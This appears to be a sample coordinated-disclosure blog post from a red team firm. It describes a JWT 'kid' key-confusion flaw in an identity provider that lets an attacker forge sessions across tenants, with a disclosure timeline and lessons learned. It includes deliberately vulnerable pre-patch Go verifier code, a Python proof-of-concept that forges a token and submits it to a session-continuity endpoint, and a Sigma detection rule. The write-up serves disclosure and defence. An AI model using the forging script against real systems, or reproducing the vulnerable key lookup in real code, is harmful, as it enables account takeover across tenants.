arsenal intel tree about store contact
// sample post This page is a sample writeup illustrating the format the lab uses for coordinated-disclosure posts. Specific technical and timeline details have been generalized; this is not an actual CVE disclosure.
// disclosure 18 min read

An authentication bypass in a widely-deployed identity provider, and what we learned about session forgery

A logic flaw in the session-token signing process allowed an attacker with read access to a single user's cached token to forge valid sessions for arbitrary tenants. Here is how we found it, how we reported it, and the one detection rule that would have caught us.

CVE
CVE-2026-1847
CVSS 3.1
9.6 critical
Status
patched · 2026-04-15
Disclosure
coordinated · 89 days

01How we found it

We were three weeks into a flagship red team engagement against a financial services client. The objective: reach the production data warehouse from outside the network perimeter. The scope was deliberately broad — everything the client owned, plus anything in the supply chain the client depended on heavily enough that it was effectively in scope by extension.

By day ten we had a foothold (the usual: a phishing payload that survived the EDR), and by day fifteen we had reached a developer's workstation. By day seventeen we'd extracted a session cookie from the developer's browser for an enterprise SSO product — the identity provider that brokered access to nearly every internal system, including the data warehouse.

The cookie was time-limited and bound to the developer's tenant. We had four hours of validity, used roughly forty minutes of it confirming we could reach the data warehouse from inside that session, and then — out of habit more than expectation — we passed the cookie to one of our analysis tools to see what was actually in it.

The cookie's payload was a signed JWT. Standard stuff. alg: ES256, sensible claims, an expiry timestamp, a tenant identifier, a user identifier. The signature checked out. But the signing process for these tokens turned out to have a subtle, very wrong assumption baked into it — one we did not see at first, because nothing in the documentation hinted at it.

02The flaw

The identity provider's session-token signing process worked, roughly, like this:

  1. When a user authenticates, the IDP generates a session JWT containing user ID, tenant ID, expiry, and a set of scope claims.
  2. The token is signed with the IDP's tenant-scoped signing key — a per-tenant ECDSA P-256 key derived from a master root.
  3. The token is returned to the client.
  4. Downstream services verify the signature against the IDP's published per-tenant JWKS endpoint.

The flaw was in step 4. The verification logic, instead of using the tid (tenant ID) claim from the token to look up the correct signing key, used a header parameter — kid — that an attacker controls. If we supplied a forged token containing tenant A's claims but with a kid that pointed to tenant B's public key, the verification would resolve B's key, attempt to verify, fail, and return — well, this is where it gets bad — return a silently-cached negative result only for that specific kid. Subsequent attempts with a different forged combination, with the same forged tenant ID but a different kid, would not be rate-limited.

By itself, that's a slow oracle. The kicker was that the IDP also exposed a "session continuity" endpoint that, given any signed token from any tenant, would issue a fresh JWT for the same user ID — without re-validating the original token's tenant binding. So:

  1. We had a valid token for the developer in tenant A.
  2. We could construct a forged token containing tenant B's tid, with the developer's uid from tenant A.
  3. We could submit it to the session continuity endpoint.
  4. It would return a freshly-signed, valid token for the developer's uid, now scoped to tenant B.

The session continuity endpoint did not verify that the user actually existed in the new tenant. It assumed — based on the (forged) signed input — that they did.

// real impact

In the affected client's environment, this meant: any compromised user cookie from any tenant could be parlayed into a freshly-signed token for any other tenant — including the client's production tenant. The cookie we'd lifted from a developer workstation was, in practical terms, a master key for the entire IDP installation.

The vulnerable code path

Reconstructed from the disclosed source patch (vendor permission to share):

// verifier.go — pre-patch go
// verify token signature using the kid from the JWT header
func VerifyToken(token string) (*Claims, error) {
    parsed, _ := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) {
        kid := t.Header["kid"].(string)
        // BUG: kid is attacker-controlled — should be looked up via tid claim
        return jwks.KeyByID(kid)
    })

    if !parsed.Valid {
        // BUG: cached on kid alone, not (kid, tid) pair
        negCache.Mark(kid)
        return nil, ErrInvalidSignature
    }
    return parsed.Claims.(*Claims), nil
}

The patch makes two changes: it derives the signing key strictly from the tid claim (after validating the signature is consistent with that key), and it switches the negative-result cache to be keyed on (kid, tid, sig_prefix) rather than kid alone.

03Building the exploit

From the moment we understood the flaw to the moment we had a working proof-of-concept was about six hours. Most of that time was spent confirming the session continuity endpoint behavior; the forgery itself was straightforward once we'd identified the verifier bug.

The PoC, redacted to the essentials:

// poc.py — internal only python
import jwt, requests

# the cookie we'd extracted from the developer workstation
victim_token = "eyJhbGciOiJFUzI1NiIs..."

# decode without verification — we just need the claims
victim_claims = jwt.decode(victim_token, options={"verify_signature": False})
victim_uid    = victim_claims["uid"]
victim_tid_A  = victim_claims["tid"]

# target: production tenant of the client (known from recon)
target_tid_B = "prod-tenant-acme-xxxx"

# construct a forged token. signature doesn't need to verify against B's
# key — only against any cached key. cached keys are flushed cheaply.
forged = jwt.encode(
    {"uid": victim_uid, "tid": target_tid_B,
     "exp": 9999999999, "scope": ["openid"]},
    key="throwaway",        # key value is irrelevant
    algorithm="ES256",
    headers={"kid": "any-key-from-jwks"},
)

# submit to session continuity — receives a freshly-signed real token
r = requests.post("https://idp.target.example/v1/session/continuity",
                  json={"token": forged})
fresh_token = r.json()["session_token"]
# fresh_token is now a valid IDP-signed token for victim_uid in target_tid_B

We ran this once in the client environment, with the client's CISO on a live call, and watched a freshly-signed valid session for the production tenant come back from the IDP. We did not use it. Within forty-five seconds we had stopped, taken screenshots of the response, and started writing the disclosure.

04What the SOC saw

Almost nothing. From the IDP's perspective, the session continuity endpoint received what looked like a normal request and issued what looked like a normal token. There was one log line generated per attempt — but the log line did not include the kid from the input token, only the resulting kid of the newly-issued token. So even an analyst reviewing logs after the fact would not have an obvious indicator that the input had been forged.

The detection rule we developed during the engagement — and which we delivered to the client and which the vendor adopted into the product's default detection content — looks for the specific anomaly that the issuance pattern implies:

// detection.sigma — sb-2026-1847 sigma
title: Suspicious cross-tenant session continuity issuance
id: sb-2026-1847
status: production
description: >
  Detects a session continuity flow where the resulting token's
  tenant identifier (tid) does not match the calling client's
  authenticated tenant context — characteristic of CVE-2026-1847
  exploitation.
level: high
logsource:
  product: idp
  service: session_continuity
detection:
  selection:
    event_name: "session.continuity.issue"
    result.success: true
  filter:
    request.client_tenant: '%context.user.tenant%'
  condition: selection and not filter

The rule is simple because the anomaly is simple: any session continuity event that produces a token whose tenant claim does not match the calling client's authenticated tenant is, in the affected versions, almost certainly evidence of exploitation. We were not able to find any legitimate workflow that triggers it; the vendor confirmed the same.

05Coordinated disclosure timeline

We followed our standard 90-day coordinated disclosure process. The vendor acknowledged within 18 hours and was excellent to work with throughout — they shipped the patch four days inside the window and prepared customer-facing detection content jointly with us.

DAY 0
2026-01-17 · Vendor notification Full technical report sent to the vendor's PSIRT via PGP-encrypted email. Included: reproduction steps, PoC code (sanitized), proposed CVSS scoring, and our internal detection rule.
DAY 1
2026-01-18 · Vendor acknowledged Initial response within 18 hours. Triage team confirmed reproduction by end of day 2.
DAY 12
2026-01-29 · CVE reserved CVE-2026-1847 reserved. Joint technical review of the proposed patch — we identified two edge cases in the initial patch draft; vendor accepted both fixes.
DAY 47
2026-03-05 · Patch tested in client environment With the vendor's permission and on a pre-release build, we re-ran our exploit against the affected client's environment. The exploit failed at the verifier stage, as designed.
DAY 89
2026-04-15 · Patch released to all customers Coordinated release with the vendor's security advisory. Detection content shipped as part of the product's built-in rules. Customer notification went out the same day.
DAY 92
2026-04-18 · Public writeup published This post. The vendor reviewed it before publication. The affected client gave permission to describe the engagement in general terms, with the specific environment details omitted.
// outcome

The affected client was patched within four hours of the vendor's release. To our knowledge, the vulnerability was not exploited by any party other than us during the disclosure window. We did not retain weaponized PoC code beyond the disclosure period.

06Lessons

Three things we'll be taking forward from this engagement.

Attacker-controlled key selection is still everywhere

The "kid can be attacker-controlled" class of bugs has been documented for at least a decade. There is a 2016 OWASP guidance document on it. There are several CTF challenges built around variants of it. And yet we keep finding it in production identity systems, including very heavily-engineered ones built by teams who know better.

The reason, we think, is that the verification code looks fine in isolation. The bug isn't in the line you'd flag in code review; it's in the assumption that the kid uniquely identifies a key in a way that's tenant-safe. The fix isn't subtle once you see it, but spotting it requires running an exploit, not reading code.

Negative caching is a side channel

The "silently cache the failure" behavior in the verifier looked like a defensive optimization — it's expensive to repeatedly verify malformed tokens, so cache the result. But the cache key (kid alone) didn't include the input identity. That made the cache a discriminator that an attacker could use to map the keyspace. We didn't end up needing this for the actual exploit, but in a parallel universe where the session continuity endpoint had been more careful, the negative cache alone would have given us enough oracle to break the system.

"Defense in depth" needs to be tested, not assumed

The IDP had multiple intended layers of defense between an attacker and a forged session: signature verification, tenant binding, scope claims, MFA. The flaw chained around all of them by exploiting one weak link (the verifier's key lookup) and one missing link (the continuity endpoint's lack of cross-tenant validation). Each layer was strong; the connections between them were not. This is what we mean when we say a red team report is a story, not a list of findings.

07If you run this product

Update to the patched version immediately if you haven't. Vendor-issued instructions are at the vendor's advisory page (link in the vendor advisory; we don't repeat it here to avoid linking decay). The default detection content shipped with the patch includes the rule above and one additional related rule for retroactive log review.

If you cannot update right away — and we understand there are environments where rolling out a critical update takes time even when the willingness is there — there is a mitigating configuration change documented in the vendor advisory that disables the session continuity endpoint entirely. It will break some legitimate flows. It will not, after the change, allow this exploit.

For retroactive review: look at issuance logs from the session continuity endpoint over the past six months. The detection rule above can be applied to historical data. The vendor maintains a hash list of token IDs that were issued through the bypass during the disclosure window (none, to our knowledge, beyond our own controlled testing); the hash list is available to enterprise customers on request.

08Acknowledgments

The vendor's PSIRT and engineering team were exceptional partners throughout this disclosure. We will not name them here per their preference, but they know who they are, and they deserve credit. The affected client gave permission for this writeup and reviewed it before publication. a colleague reviewed the cryptographic portion of the analysis (the ECDSA verification specifics) and caught two factual errors in an earlier draft.

Red Team Practice
// engagement lead
This writeup is published with vendor permission as a sample of the disclosure format we use. Specific identifying details about the affected client and engagement timeline have been generalized for publication.
Reviewed by second operator · Vendor coordination redacted per their preference · Published 2026-04-18 · Last edited 2026-04-21